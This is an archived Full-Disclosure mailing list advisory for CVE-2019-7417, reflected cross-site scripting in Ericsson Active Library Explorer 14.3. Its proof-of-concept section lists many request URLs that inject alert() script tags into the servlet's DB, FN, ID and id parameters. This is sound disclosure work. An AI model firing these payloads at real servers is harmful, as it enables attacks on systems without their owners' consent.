lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 6 Feb 2019 07:18:40 +0100
From: Rafael Pedrero <rafael.pedrero@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] [CVE-2019-7417] Cross Site Scripting in Ericsson Active
 Library Explorer Server Version 14.3

<!--
# Exploit Title: Cross Site Scripting in Ericsson Active Library Explorer
Server Version 14.3
# Date: 23-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.ericsson.com
# Software Link: http://www.ericsson.com
# Version: Ericsson Active Library Explorer Server Version 14.3
# Tested on: all
# CVE : CVE-2019-7417
# Category: webapps

1. Description

XSS exists in Ericsson Active Library Explorer (ALEX) 14.3 in multiple
parameters in the "/cgi-bin/alexserv" servlet, as demonstrated by the DB,
FN, fn, or id parameter.

Active Library Explorer (ALEX) is server-based software that enables users
to browse Ericsson document libraries and documents with a standard web
browser. It consists of the following two parts, which are typically used
in two different web browser windows:

    Library View – this part contains functions for accessing libraries
within a folder structure. For example, it is possible to search for
libraries, download libraries, or compare library variants. It is also
possible to start a search for documents in several libraries at the same
time.
    Document View – this part contains functions for accessing documents
inside a library. For example, it is possible to search for documents or
within documents in individual libraries, and to print or bookmark
documents.


2. Proof of Concept

URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?id=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 id=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&fn=docno_metadata.txt


Parameter
 id=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=23034&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=hlex_help.html


Parameter
 ID=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=3020&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=alex.html


Parameter
 DB=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&ac=image&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=alex_help.ahx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&CH=LibraryBrowser


Parameter
 FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=12446-2885Uen.E.html


Parameter
 DB=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&AC=image&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
 FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=help.html&CH=LibraryBrowser


Parameter
 DB=<SCRIPT>alert("XSS");</SCRIPT>


3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules


-->

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists